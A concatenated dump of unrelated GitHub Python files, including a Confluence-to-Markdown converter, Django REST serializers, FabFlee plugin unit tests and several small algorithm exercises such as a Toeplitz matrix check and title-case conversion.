page_dir / f'{meaningful_name}'\n if idx > 0:\n dest_file = dest_file.parent / f'{dest_file.stem}_{idx}{dest_file.suffix}'\n if dest_file.exists():\n dest_file.unlink()\n if not source_file.exists():\n print(f'Warning: {source_file} does not exist. (Meaningful name: {dest_file})')\n files_skipped += 1\n else:\n files_copied += 1\n if is_drawio:\n dest_file = copy_drawio_file(source_file, dest_file)\n else:\n shutil.copy(source_file, dest_file)\n if attachment.destination_file:\n attachment.multiple_copies_warning = True\n attachment.destination_file = dest_file\n idx += 1\n return files_copied, files_skipped\n\n\ndef nn_min(x: int, y: int) -> int:\n \"\"\"\n the non-negative minimum of x and y\n \"\"\"\n if x < 0:\n return y\n if y < 0:\n return x\n if x < y:\n return x\n return y\n\n\ndef remove_trailing_sections(tree: Node):\n \"\"\"\n Removes the \"extra\" sections that are part of the export, e.g. Attachments, Comments, Change History\n :param tree: Root of the target directory tree\n \"\"\"\n for node in PreOrderIter(tree):\n file = get_dest_file_from_node(node)\n with file.open(mode='r+') as input_file:\n with mmap.mmap(input_file.fileno(), length=0, access=mmap.ACCESS_READ) as mmap_in:\n offset = mmap_in.rfind(b'
    \\n\\n## Attachments:')\n offset = nn_min(mmap_in.rfind(b'
    \\n\\n## Comments:'), offset)\n offset = nn_min(mmap_in.rfind(b'## Change History'), offset)\n if offset >= 0:\n os.ftruncate(input_file.fileno(), offset)\n\n\ndef fixup_attachment_references(tree: Node, attachments: Dict[Path, AttachmentInfo], source_root_dir: Path,\n target_root_dir: Path):\n \"\"\"\n The export from Confluence results in attachments identified by page_id (directory) and attachment_id (filename).\n Additionally, drawio macros result in an tag with the source drawio deflated and base64 encoded.\n This function replaces the tags with Markdown syntax (e.g. ![](attachment:page_id/attachment_id)),\n using meaningful names for directory and file and using drawio directive when drawio images are encountered.\n :param tree: Content tree\n :param attachments: information about all the source attachments, key: page_name, value: AttachmentInfo\n :param source_root_dir: the root of the source directory tree\n :param target_root_dir: the root directory of the target directory tree\n :return: None\n \"\"\"\n class Fixup:\n def __init__(self, attachment_info_map: Dict[Path, AttachmentInfo]):\n self.attachment_info_map = attachment_info_map\n self.changed = False\n self.current_file = None\n\n def prep_file(self, file: Path):\n self.changed = False\n self.current_file = file\n\n def fixup(self, match):\n self.changed = True\n if match.group(1).startswith(')', fixup.fixup, data, 0, flags)\n if fixup.changed:\n with file.open(mode='w') as output_file:\n output_file.write(new)\n\n\ndef fixup_div_tags(tree: Node) -> None:\n \"\"\"\n Fixup the div tags in the markdown files.\n :param tree: the content root node\n \"\"\"\n for node in PreOrderIter(tree):\n file = get_dest_file_from_node(node)\n with file.open(mode='r+') as input_file:\n data = input_file.read()\n new = _fixup_divs(data)\n if new != data:\n with file.open(mode='w') as output_file:\n output_file.write(new)\n\ndef _fixup_divs(content: str) -> str:\n patterns = [\n r'
    \\s*(.*?)\\s*
    ',\n r'
    \\s*(.*?)\\s*
    ',\n r'
    \\s*(.*?)\\s*
    ',\n r'
    \\s*(.*?)\\s*
    \\s*
    ',\n r'
    \\s*(.*?)\\s*
    ',\n r'
    \\s*(.*?)\\s*
    ',\n r'
    \\s*(.*?)\\s*
    ',\n ]\n flags = re.IGNORECASE | re.DOTALL | re.MULTILINE\n content = fixup_expander(content, flags)\n for pattern in patterns:\n content = re.sub(pattern, r'\\1\\n', content, 0, flags)\n content = content.replace(u'\\xa0', ' ')\n content = fixup_toc_macro(content, flags)\n content = fixup_multi_column(content, flags)\n return content\n\n\ndef fixup_toc_macro(content, flags = re.DOTALL | re.MULTILINE | re.IGNORECASE):\n # since jupyter-book has a toc for each page when rendering html, we can just remove the toc-macro\n toc_macro = r'
    .*?
    '\n content = re.sub(toc_macro, '', content, 0, flags)\n return content\n\n\ndef fixup_expander(content, flags = re.DOTALL | re.MULTILINE | re.IGNORECASE):\n # replace the expander macro with the dropdown directive from sphinx.panels\n expander = r'
    \\s*(.*?)\\s*
    '\n content = re.sub(expander, r'\\1\\n```', content, 0, flags)\n expander = r'
    \\s*(.*?)\\s*
    '\n content = re.sub(expander, r'```{dropdown} \\1', content, 0, flags)\n expander = r'
    (.*?)\\s*
    '\n content = re.sub(expander, r'\\1', content, 0, flags)\n return content\n\n\ndef fixup_multi_column(content, flags = re.DOTALL | re.MULTILINE | re.IGNORECASE):\n patterns = [\n r'
    \\s*(.*?)\\s*
    ',\n r'
    \\s*(.*?)\\s*
    ',\n r'
    \\s*(.*?)\\s*
    ',\n ]\n for pattern in patterns:\n content = re.sub(pattern, r'\\1', content, 0, flags)\n return content\n\ndef convert_remaining_html(tree: Node) -> None:\n \"\"\"\n Fixup the div tags in the markdown files.\n :param tree: the content root node\n \"\"\"\n for node in PreOrderIter(tree):\n file = get_dest_file_from_node(node)\n with file.open(mode='r+') as input_file:\n data = input_file.read()\n new = _convert_remaining_html(data)\n if new != data:\n with file.open(mode='w') as output_file:\n output_file.write(new)\n\ndef _convert_remaining_html(content: str) -> str:\n strip_newline = False\n def _convert_to_md(match):\n converted = md(match.group(1))\n if strip_newline:\n converted = converted.replace('\\n', '')\n return converted\n\n flags = re.IGNORECASE | re.DOTALL | re.MULTILINE\n\n strip_newline = True\n html_link = r'()'\n content = re.sub(html_link, _convert_to_md, content, 0, flags)\n\n strip_newline = False\n html_table = r'()'\n content = re.sub(html_table, _convert_to_md, content, 0, flags)\n\n return content\n","repo_name":"rappdw/migcon","sub_path":"migcon/content_manager.py","file_name":"content_manager.py","file_ext":"py","file_size_in_byte":19198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22961648302","text":"\"\"\"\nhttps://www.lintcode.com/problem/1042/?_from=collection&fromId=18\n\nA matrix is Toeplitz if every diagonal from top-left to bottom-right \nhas the same element.\n\nNow given an M x N matrix, return True if and only if the matrix is Toeplitz.\n\n- matrix will be a 2D array of integers.\n- matrix will have a number of rows and columns in range [1, 20].\n- matrix[i][j] will be integers in range [0, 99].\n\nExample 1:\nInput: matrix = [[1,2,3,4],[5,1,2,3],[9,5,1,2]]\nOutput: True\nExplanation:\n1234\n5123\n9512\nIn the above grid, the diagonals are \n\"[9]\", \"[5, 5]\", \"[1, 1, 1]\", \"[2, 2, 2]\", \"[3, 3]\", \"[4]\", \nand in each diagonal all elements are the same, so the answer is True.\n\nExample 2:\nInput: matrix = [[1,2],[2,2]]\nOutput: False\nExplanation:\nThe diagonal \"[1, 2]\" has different elements.\n\"\"\"\nfrom typing import List\n\n\ndef solution1(matrix: List[List[int]]) -> bool:\n # Time complexity: O(m*n)\n # Space complexity: O(m+n)\n\n rows, cols = len(matrix), len(matrix[0])\n # Lists with the first row and column for each diagonal check\n row_indices = [i for i in range(rows - 1, 0, -1)] + [0] * (cols - 1)\n col_indices = [0] * rows + [j for j in range(1, cols - 1)]\n\n # Loop over the diagonals\n diagonals = len(row_indices)\n for d in range(diagonals):\n\n # First element in the diagonal `d`\n row, col = row_indices[d], col_indices[d]\n ref = matrix[row][col]\n\n # Check next elements in the diagonal against `ref`\n row += 1\n col += 1\n while row < rows and col < cols:\n if matrix[row][col] != ref:\n return False\n row += 1\n col += 1\n\n return True\n\n\ndef solution2(matrix: List[List[int]]) -> bool:\n # Time complexity: O(m*n)\n # Space complexity: O(1)\n\n rows, cols = len(matrix), len(matrix[0])\n diagonals = rows + cols - 1\n # Loop over the diagonals\n for d in range(diagonals):\n\n # First element in the diagonal `d`\n row = max(0, rows - d - 1)\n col = 0 if row > 0 else d - rows + 1\n ref = matrix[row][col]\n\n # Check next elements in the diagonal against `ref`\n row += 1\n col += 1\n while row < rows and col < cols:\n if matrix[row][col] != ref:\n return False\n row += 1\n col += 1\n\n return True\n\n\nif __name__ == \"__main__\":\n print(\"-\" * 60)\n print(\"Toeplitz matrix\")\n print(\"-\" * 60)\n\n test_cases = [\n ([[1]], True),\n ([[1, 2, 3]], True),\n ([[1, 2], [2, 2]], False),\n ([[1, 2, 3, 4], [5, 1, 2, 3], [9, 5, 1, 2]], True),\n ([[1, 2, 3, 4], [5, 1, 2, 3], [9, 5, 1, 1]], False),\n ([[1, 2, 3, 4, 8], [5, 1, 2, 3, 4], [9, 5, 1, 2, 3]], True),\n ]\n\n for matrix, solution in test_cases:\n\n output = f\"Matrix: {matrix}\"\n if len(output) > 60:\n output = output[:60] + \" ...]]\"\n print(output)\n\n result = solution1(matrix)\n output = f\"\\t solution1 = \"\n output += \" \" * (10 - len(output))\n test_ok = solution == result\n output += str(result)\n output += \" \" * (55 - len(output))\n output += f'\\t\\tTest: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n result = solution2(matrix)\n output = f\"\\t solution2 = \"\n output += \" \" * (10 - len(output))\n test_ok = solution == result\n output += str(result)\n output += \" \" * (55 - len(output))\n output += f'\\t\\tTest: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n print()\n","repo_name":"daalgi/algorithms","sub_path":"arrays/toeplitz_matrix.py","file_name":"toeplitz_matrix.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"20957670997","text":"from django.contrib.auth import get_user_model\nfrom rest_framework import serializers\n\nfrom reviews.models import Category, Comment, Genre, Review, Title\n\nUser = get_user_model()\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n class Meta:\n model = Category\n fields = ('name', 'slug')\n\n\nclass GenreSerializer(serializers.ModelSerializer):\n class Meta:\n model = Genre\n fields = ('name', 'slug')\n\n\nclass TitleReadSerializer(serializers.ModelSerializer):\n category = CategorySerializer(read_only=True)\n genre = GenreSerializer(many=True, read_only=True)\n rating = serializers.IntegerField(read_only=True)\n\n class Meta:\n fields = (\n 'id',\n 'name',\n 'year',\n 'rating',\n 'description',\n 'category',\n 'genre',\n )\n model = Title\n\n\nclass TitleCreateSerializer(serializers.ModelSerializer):\n category = serializers.SlugRelatedField(\n slug_field='slug', queryset=Category.objects.all()\n )\n genre = serializers.SlugRelatedField(\n slug_field='slug', many=True, queryset=Genre.objects.all()\n )\n\n class Meta:\n fields = ('name', 'year', 'description', 'category', 'genre')\n model = Title\n\n def to_representation(self, instance):\n serializer = TitleReadSerializer(instance)\n return serializer.data\n\n\nclass UserBaseSerializer(serializers.Serializer):\n username = serializers.RegexField(\n regex=r'^[\\w.@+-]+$',\n max_length=150,\n required=True\n )\n\n\nclass UserCreateSerializer(UserBaseSerializer):\n email = serializers.EmailField(max_length=254)\n\n def validate_username(self, value):\n if value.lower() == 'me':\n raise serializers.ValidationError('username не может быть `me`!')\n return value\n\n def validate(self, attrs):\n if User.objects.filter(\n username=attrs.get('username'),\n email=attrs.get('email'),\n ).exists():\n return attrs\n if User.objects.filter(username=attrs.get('username')).exists():\n raise serializers.ValidationError(\n 'Пользователь с таким username уже существует'\n )\n if User.objects.filter(email=attrs.get('email')).exists():\n raise serializers.ValidationError(\n 'Пользователь с таким email уже существует'\n )\n return attrs\n\n\nclass UserTokenSerializer(UserBaseSerializer):\n confirmation_code = serializers.CharField(max_length=25)\n\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = (\n 'username',\n 'email',\n 'first_name',\n 'last_name',\n 'bio',\n 'role',\n )\n\n\nclass ReviewSerializer(serializers.ModelSerializer):\n author = serializers.SlugRelatedField(\n read_only=True, slug_field='username',\n default=serializers.CurrentUserDefault(),\n )\n score = serializers.IntegerField(max_value=10, min_value=1)\n\n class Meta:\n fields = '__all__'\n read_only_fields = ('title',)\n model = Review\n\n def validate(self, attrs):\n if self.context.get('request').method != 'POST':\n return attrs\n user = self.context.get('request').user\n title_id = self.context.get('view').kwargs.get('title_id')\n if Review.objects.filter(author=user, title__pk=title_id).exists():\n raise serializers.ValidationError(\n 'Можно оставить только один отзыв!',\n )\n return attrs\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n author = serializers.SlugRelatedField(\n read_only=True, slug_field='username',\n default=serializers.CurrentUserDefault(),\n )\n\n class Meta:\n fields = '__all__'\n read_only_fields = ('review',)\n model = Comment\n","repo_name":"khmelm/api_yamdb","sub_path":"api_yamdb/api/v1/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72351171773","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\n\r\n#%%\r\nimport environment as Env\r\nimport sys, os\r\nfrom querySystem.matrixOp import *\r\nimport scipy.sparse as scs\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\ninfo = Env.Info()\r\n'''\r\nwordsBagInfo = Env.WordsBagInfo(ignore=True) \r\ninfo = Env.Info(wordsBagInfo=wordsBagInfo)\r\n'''\r\n\r\nenv_obj = Env.setupEnv([__file__, sys.argv[0], os.getcwd()], info)\r\ndatabase = env_obj.Database\r\nwordsBag = env_obj.WordsBag\r\nFreq = env_obj.Frequency\r\n\r\nif __name__ == \"__main__\":\r\n #N = int(input(\"Nombre de documents : \"))\r\n N = 10\r\n matrix = \"matrix_\"+\"all\"+\"_but_for_real\"+\"_for_real_now\"\r\n \r\n r = Request(database, wordsBag, Freq, env_obj.getMatrixFolder())\r\n #r.create(matrix, erease=True, number_movies=50, count_item=1000)\r\n rg = int(input(\"Rang de la SVD : \"))\r\n r.load(matrix, k = rg)\r\n\r\n nbRes = int(input(\"Nombre de résultats : \"))\r\n while True:\r\n raw = input(\"Recherche : \")\r\n if raw == \"quit\":\r\n break\r\n print(\"\")\r\n movie = r.searchSVD(raw, nbRes)\r\n\r\n if raw == \"reloadsvd\":\r\n rg = int(input(\"Rang de la SVD : \"))\r\n r.renewsvd(rg)\r\n print(\"\")\r\n #if movie is not []:\r\n # print(movie.title)\r\n \r\n '''\r\n N = int(input(\"Nombre de documents : \"))\r\n print(\"Création de la matrice termes-documents sur les \"+str(N)+\" premiers films\")\r\n A, V, table = createTFMatrixV4(N, Freq, mute = False)\r\n print(A.toarray())\r\n print(A.shape)\r\n print(V.toarray())\r\n print(V.shape)\r\n if len(table) < 50:\r\n print(table)\r\n #print(wordsBag.getIds(\"Bonjour\"))\r\n while 1:\r\n Q = createQueryVect(wordsBag, input(\"Recherche : \"))\r\n print(Q)\r\n imax, maxsco = getMostRelevantDoc(A, V, Q, mute = False)\r\n if imax is not None:\r\n print(\"Score max : \"+str(maxsco)+\"\\nMovieID : \"+str(table[imax]))\r\n print(\"Titre du film :\"+database.getMovie(table[imax]).title)\r\n else:\r\n print(\"Rien trouvé\")\r\n '''\r\n#%%\r\n","repo_name":"Yurof/DataMining","sub_path":"Test/main_Chi.py","file_name":"main_Chi.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43642163993","text":"# -*- coding:utf-8 -*-\n'''\n和为S的连续正数序列\n输入一个正整数 target ,输出所有和为 target 的连续正整数序列(至少含有两个数)。\n序列内的数字由小到大排列,不同序列按照首个数字从小到大排列。\n\nexample1:\n输入:target = 9\n输出:[[2,3,4],[4,5]]\n\nexample2:\n输入:target = 15\n输出:[[1,2,3,4,5],[4,5,6],[7,8]]\n\n解:和为s系列:头尾两个指针\n两个指针,分别指向序列头尾,不断扩大和缩小两个指针。\n'''\n\nclass Solution(object):\n def findContinuousSequence(self, target):\n \"\"\"\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n res = []\n left = 1\n right = 2\n while left < right:\n sumArray = (left+right) * (right-left+1) // 2\n if sumArray < target:\n right += 1\n elif sumArray > target:\n left += 1\n else:\n temp = []\n for i in range(left, right+1):\n temp.append(i)\n res.append(temp)\n left += 1\n return res\n\nif __name__ == '__main__':\n a = Solution()\n print (a.findContinuousSequence(9))\n","repo_name":"gjogjreiogjwer/jzoffer","sub_path":"其他/和为S的连续正数序列.py","file_name":"和为S的连续正数序列.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5935027126","text":"# -*- coding: utf-8 -*-\n#\n# This source file is part of the FabSim software toolkit, which is 151distributed under the BSD 3-Clause license.\n# Please refer to LICENSE for detailed information regarding the licensing.\n#\n# This file contains FabSim definitions specific to FabFlee.\n\ntry:\n from fabsim.base.fab import *\nexcept ImportError:\n from base.fab import *\n\ntry:\n from fabsim.plugins.FabFlee.FabFlee import *\nexcept ImportError:\n from plugins.FabFlee.FabFlee import *\n\n\n# Add local script, blackbox and template path.\nadd_local_paths(\"FabFlee\")\n\n## TEST FUNCTIONS\n\nenv.fabflee_root = \"{}/plugins/FabFlee\".format(env.localroot)\n\ndef pr_utest(test_name, test_outcome_bool):\n # print result of unit tests.\n if test_outcome_bool:\n print(\"%s has succeeded.\" % test_name)\n pass\n else:\n print(\"%s has failed.\" % test_name)\n\n\n@task\ndef test_load_conflict(): # fab localhost test_load_conflict\n # write a function that tests whether this worked! It should return FALSE when it doesn't, TRUE when it does.\n\n os.system(\"rm -rf %s/conflict_data/active_conflict\" % (env.fabflee_root))\n load_conflict(\"ABC\")\n\n # True if active_conflict exists and False if it does not\n test_result = os.path.exists(\"%s/conflict_data/active_conflict/\" % (env.fabflee_root))\n\n pr_utest(\"test_load_conflict-active_conflict_exists\",test_result)\n\n\n # True if locations.csv in ABC is identical to locations.csv in active_conflict folder.\n import filecmp\n test_result = filecmp.cmp(\"%s/conflict_data/ABC/locations.csv\" % (env.fabflee_root), \"%s/conflict_data/active_conflict/locations.csv\" % (env.fabflee_root))\n\n pr_utest(\"test_load_conflict-match_csv_files\",test_result)\n\n\n@task\ndef test_change_capacities(): # fab localhost test_change_capacities\n # write a function that tests whether this worked! It should return FALSE when it doesn't, TRUE when it does.\n\n os.system(\"rm -rf %s/conflict_data/active_conflict\" % (env.fabflee_root))\n load_conflict(\"ABC\")\n\n change_capacities(Z=\"10\")\n\n import csv\n r = csv.reader(open(\"%s/conflict_data/active_conflict/locations.csv\" % (env.fabflee_root), \"r\"))\n lines = [l for l in r]\n test_result = False\n\n for i in range(1,len(lines)):\n print(lines[i][0],lines[i][5],lines[i])\n if (lines[i][0].strip() == \"Z\" and lines[i][7].strip() == \"10\"):\n test_result = True\n\n pr_utest(\"test_add_camp-match_capacity_change\",test_result)\n\n\n@task\ndef test_add_camp(): # fab localhost test_add_camp\n # write a function that tests whether this worked! It should return FALSE when it doesn't, TRUE when it does.\n\n os.system(\"rm -rf %s/conflict_data/active_conflict\" % (env.fabflee_root))\n load_conflict(\"ABC\")\n\n add_camp(\"Y\",\"YY\",\"YYY\",\"0.00001\",\"1.00000\")\n\n # count the number of lines to see if the extra line has been added.\n import csv\n r = open(\"%s/conflict_data/active_conflict/locations.csv\" % (env.fabflee_root), \"r\")\n row_count = sum(1 for row in r)\n if row_count == 6:\n test_result = True\n else:\n test_result = False\n\n pr_utest(\"test_add_camp-count_raw\",test_result)\n\n # check whether there is a line that matches the contents that you would expect to have been added.\n r.seek(0)\n test_result = False\n for row in r:\n if row.strip() == \"Y,YY,YYY,0.00001,1.00000,camp\":\n test_result = True\n\n pr_utest(\"test_add_camp-match_newline\",test_result)\n\n\n@task\ndef test_delete_location(): # fab localhost test_delete_location\n # write a function that tests whether this worked! It should return FALSE when it doesn't, TRUE when it does.\n\n os.system(\"rm -rf %s/conflict_data/active_conflict\" % (env.fabflee_root))\n load_conflict(\"ABC\")\n\n delete_location(\"C\")\n\n import csv\n r = csv.reader(open(\"%s/conflict_data/active_conflict/locations.csv\" % (env.fabflee_root), \"r\"))\n lines = [l for l in r]\n test_result = False\n\n for i in range(1,len(lines)):\n if lines[i][0].strip() != \"C\":\n test_result = True\n\n pr_utest(\"test_delete_location-check_deleted_line\",test_result)\n\n\n@task\ndef test_close_camp():\t\t\t # fab localhost test_close_camp\n # write a function that tests whether this worked! It should return FALSE when it doesn't, TRUE when it does.\n\n os.system(\"rm -rf %s/conflict_data/active_conflict\" % (env.fabflee_root))\n load_conflict(\"ABC\")\n\n close_camp(\"Z\",\"ZZZ\")\n\n import csv\n r = open(\"%s/conflict_data/active_conflict/closures.csv\" % (env.fabflee_root), \"r\")\n test_result = False\n\n for row in r:\n if row.strip() == \"location,Z,ZZZ,0,-1\":\n test_result = True\n\n pr_utest(\"test_close_camp-check_camp_closure\",test_result)\n\n\n@task\ndef test_close_border(): # fab localhost test_close_border\n # write a function that tests whether this worked! It should return FALSE when it doesn't, TRUE when it does.\n\n os.system(\"rm -rf %s/conflict_data/active_conflict\" % (env.fabflee_root))\n load_conflict(\"ABC\")\n\n close_border(\"ABC\",\"ZZZ\")\n\n import csv\n r = open(\"%s/conflict_data/active_conflict/closures.csv\" % (env.fabflee_root), \"r\")\n test_result = False\n\n for row in r:\n if row.strip() == \"country,ABC,ZZZ,0,-1\":\n test_result = True\n\n pr_utest(\"test_close_border-check_border_closure\",test_result)\n\n\n@task\ndef test_redirect():\t\t # fab localhost test_redirect\n # write a function that tests whether this worked! It should return FALSE when it doesn't, TRUE when it does.\n\n os.system(\"rm -rf %s/conflict_data/active_conflict\" % (env.fabflee_root))\n load_conflict(\"ABC\")\n\n redirect(\"Y\",\"Z\")\n\n import csv\n r = csv.reader(open(\"%s/conflict_data/active_conflict/locations.csv\" % (env.fabflee_root), \"r\"))\n lines = [l for l in r]\n test_result = False\n\n for i in range(1,len(lines)):\n #print(lines[i][0],lines[i][5],lines[i])\n if (lines[i][0].strip() == \"Y\" and lines[i][5].strip() == \"forwarding_hub\"):\n test_result = True\n\n pr_utest(\"test_redirect-check_location_type\",test_result)\n\n\n r = csv.reader(open(\"%s/conflict_data/active_conflict/routes.csv\" % (env.fabflee_root), \"r\"))\n lines = [l for l in r]\n test_result = False\n\n for i in range(1,len(lines)):\n #print(lines[i][0],lines[i][3],lines[i])\n if (lines[i][0].strip() == \"Y\" and lines[i][3].strip() == \"2\"):\n test_result = True\n\n pr_utest(\"test_redirect-check_forced_redirection\",test_result)\n\n\n@task\ndef test_clear_active_conflict(): # fab localhost test_clear_active_conflict\n # write a function that tests whether this worked! It should return FALSE when it doesn't, TRUE when it does.\n\n #True if active_conflict exists and False if it does not\n if os.path.exists(\"%s/conflict_data/active_conflict/\" % (env.fabflee_root)):\n print(\"test_clear_active_conflict: True\")\n return True\n else:\n print(\"test_clear_active_conflict: False\")\n return False\n","repo_name":"djgroen/FabFlee","sub_path":"test_FabFlee.py","file_name":"test_FabFlee.py","file_ext":"py","file_size_in_byte":6705,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"3286644045","text":"#!/usr/bin/python3\n\"\"\"class: Module defines a class Square\n\nThe Square class is defined here which will be used to\ncreate square objects.\n\"\"\"\n\n\nclass Square:\n \"\"\"make square class\n\n The size of the square is intentionally made private\n because many things depend on it so it must not be\n changed\n\n Attributes:\n size (int): size of the square\n position (tuple): coordinates of the square\n\n \"\"\"\n\n def __init__(self, size=0, position=(0, 0)):\n \"\"\"initialize attributes for the Square class\n\n Args:\n size: size of square\n position: position of square(or offset)\n\n \"\"\"\n if type(size) is not int:\n raise TypeError(\"size must be an integer\")\n if size < 0:\n raise ValueError(\"size must be >= 0\")\n\n self.size = size\n\n if not isinstance(position, tuple) or len(position) != 2\\\n or not isinstance(position[0], int) or\\\n not isinstance(position[1], int) or position[0] < 0\\\n or position[1] < 0:\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n\n self.position = position\n\n @property\n def size(self):\n \"\"\"getter for the private size attribute\"\"\"\n\n return self.__size\n\n @property\n def position(self):\n \"\"\"getter for the private position attribute\"\"\"\n\n return self.position\n\n @size.setter\n def size(self, value):\n \"\"\"setter for the private size attribute\"\"\"\n\n if type(value) is not int:\n raise TypeError(\"size must be an integer\")\n\n if value < 0:\n raise ValueError(\"size must be >= 0\")\n\n self.__size = value\n\n @position.setter\n def position(self, value):\n \"\"\"setter for the private position attribute\"\"\"\n\n if not isinstance(value, tuple) or len(value) != 2\\\n or not isinstance(value[0], int) or\\\n not isinstance(value[1], int) or value[0] < 0\\\n or value[1] < 0:\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n\n self.__position = value\n\n def area(self):\n \"\"\"Returns the area of the square\"\"\"\n\n return (self.__size ** 2)\n\n def my_print(self):\n \"\"\"Prints to stdout the area of the square\n\n This area is in a visual representation,\n the # characters are used\n\n \"\"\"\n if self.__size == 0:\n print(\"\")\n else:\n for z in range(self.__position[1]):\n print(\"\")\n for i in range(self.__size):\n for x in range(self.__position[0]):\n print(\" \", end=\"\")\n\n for j in range(self.__size):\n print(\"#\", end=\"\")\n print(\"\")\n","repo_name":"Tugume-Simon/alx-higher_level_programming","sub_path":"0x06-python-classes/6-square.py","file_name":"6-square.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"15141810294","text":"import spacy\r\n\r\n# Load the language model\r\nnlp = spacy.load('en_core_web_md')\r\n\r\n# Define two sentences\r\nsentence1 = \"The quick brown fox jumps over the lazy dog.\"\r\nsentence2 = \"A fast brown fox leaps over a sleepy canine.\"\r\n\r\n# Process the sentences with spaCy\r\ndoc1 = nlp(sentence1)\r\ndoc2 = nlp(sentence2)\r\n\r\n# Compute the similarity between the sentences using the vector similarity (cosine similarity)\r\nsimilarity = doc1.similarity(doc2)\r\n\r\nprint(f\"Similarity: {similarity:.2f}\")\r\n","repo_name":"Ahmed-Laaziz/research-paper-generator","sub_path":"Similarity.py","file_name":"Similarity.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4651509695","text":"import pyglet\n\n\nclass Viewer:\n\n def __init__(self, width, height, display=None):\n self._width = width\n self._height = height\n self._display = display\n self.window = None\n self._isopen = False\n\n def update(self, pixels):\n if self.window is None:\n self.window = pyglet.window.Window(width=self._width, height=self._height,\n display=self._display)\n self._isopen = True\n\n image = pyglet.image.ImageData(self._width, self._height, 'RGB',\n pixels.tobytes(), pitch=self._width * -3)\n self.window.clear()\n self.window.switch_to()\n self.window.dispatch_events()\n image.blit(0, 0)\n self.window.flip()\n\n def close(self):\n if self._isopen:\n self.window.close()\n self._isopen = False\n\n def __del__(self):\n self.close()\n","repo_name":"rejuvyesh/gym-dmcontrol","sub_path":"gym_dmcontrol/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"30011371652","text":"# https://judge.softuni.org/Contests/Practice/Index/1061#2\n\nstart_weight = int(input())\nend_weight = int(input())\n\n\ndef remove_duplicate(word):\n new_word = \"\"\n for letter in word:\n if letter not in new_word:\n new_word += letter\n return new_word\n\n\ndef weight(word):\n total = 0\n for index, letter in enumerate(word):\n if letter == 'a':\n total += (index + 1) * 5\n elif letter == 'b':\n total += (index + 1) * -12\n elif letter == 'c':\n total += (index + 1) * 47\n elif letter == 'd':\n total += (index + 1) * 7\n elif letter == 'e':\n total += (index + 1) * -32\n return total\n\n\npattern = 'abcde'\npossible_combination = ''\nfound = False\nfor ch1 in pattern:\n for ch2 in pattern:\n for ch3 in pattern:\n for ch4 in pattern:\n for ch5 in pattern:\n possible_combination = ch1 + ch2 + ch3 + ch4 + ch5\n without_duplicates = remove_duplicate(possible_combination)\n weight_total = weight(without_duplicates)\n\n if start_weight <= weight_total <= end_weight:\n found = True\n print(possible_combination, end=\" \")\n\nif not found:\n print(\"No\")\n","repo_name":"yavor-gornalov/softuni_python_book","sub_path":"09_problems_for_champions_part_1/03_five_special_letters.py","file_name":"03_five_special_letters.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"29398474114","text":"# 12. Для натурального n создать словарь индекс-значение,\n# состоящий из элементов последовательности 3n + 1.\n# Для n = 6: {1: 4, 2: 7, 3: 10, 4: 13, 5: 16, 6: 19}\n\n\ndef Sequence(value):\n sequence = 3*value + 1\n return sequence\n\n\ndef Fill_dictionary(value):\n out_dict = {}\n for i in range(1, value + 1):\n out_dict[i] = Sequence(i)\n return out_dict\n\n\nprint('Введите целое число')\nn = int(input())\nnew_dict = Fill_dictionary(n)\nprint(new_dict)\n","repo_name":"ArtVDudkin/HelloPython","sub_path":"Task012_GetDictionaryWithSequence.py","file_name":"Task012_GetDictionaryWithSequence.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17272575506","text":"'better solution'\ndef title_case(title, minor_words=''):\n title = title.capitalize().split()\n minor_words = minor_words.lower().split()\n return ' '.join([word if word in minor_words else word.capitalize() for word in title])\n\n\n\nfrom string import capwords\ndef title_case(title, minor_words=''):\n if minor_words == '':\n return capwords(title)\n ignore_words = [w.lower() for w in minor_words.split()]\n res = ''; words= title.split()\n for i in range(len(words)):\n if i == 0:\n res += words[0].capitalize()\n res += ' '\n else:\n w = words[i]\n if w.lower() not in ignore_words:\n res += w.capitalize()\n else:\n res += w.lower()\n res += ' '\n return res.strip()\n\nprint(title_case('the quick bronw fox'))\nprint(title_case('a clash of KINGS', 'a an the of'))\nprint(title_case('THE WIND IN THE WILLOWS', 'The In'))\n# ```\n# A string is considered to be in title case if each word in the string is either (a) capitalised (that is, only the first letter of the word is in upper case) or (b) considered to be an exception and put entirely into lower case unless it is the first word, which is always capitalised.\n\n# Write a function that will convert a string into title case, given an optional list of exceptions (minor words). The list of minor words will be given as a string with each word separated by a space. Your function should ignore the case of the minor words string -- it should behave in the same way even if the case of the minor word string is 